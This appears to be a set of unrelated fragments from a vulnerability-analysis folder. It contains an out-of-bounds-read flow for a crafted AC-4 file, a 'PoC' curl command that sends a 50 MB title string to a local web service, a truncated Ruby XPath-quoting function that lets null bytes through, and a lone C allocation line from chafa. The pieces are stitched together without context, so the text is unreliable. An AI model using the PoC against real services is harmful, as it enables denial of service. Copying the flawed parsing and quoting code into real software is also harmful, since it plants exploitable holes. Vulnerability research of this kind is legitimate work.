Folder: en/0-Day-Analysis

Crafted Raw AC-4 (.ac4): high m_NPresentations, short payload
    ↓
m_NPresentations = N            (large, attacker-controlled)
remaining bitstream             (too small for N presentations — NOT checked)
    ↓
for (i = 0; i < N; i++)  ParsePresentationV1Info()
    ↓
ReadBits() → ReadCache()        → index advances past buffer end → OOB READ

# Representative PoC — Local Web Service (requires a valid API token)
TOKEN="<your_api_token>"
TITLE=$(python3 -c "print('A' * 50_000_000)")   # ~50 MB title string

curl -X POST "http://localhost:41184/folders/?token=${TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{\"title\": \"${TITLE}\"}"

def quote_params(params)
  params.flatten.each_slice(2).with_object([]) do |kv, quoted_params|
    key, value = kv.map(&:to_s)
    value = if value.include?("'")
      "concat('#{value.gsub("'", %q{', "'", '})}')"
    else
      "'#{value}'"  # null byte passes through unhandled
    end

// chafa/internal/chafa-sixel-renderer.c:387
sixel_ansi = p = g_malloc(256 * (ctx->sixel_renderer->width + 5) * n_sixel_rows + 1);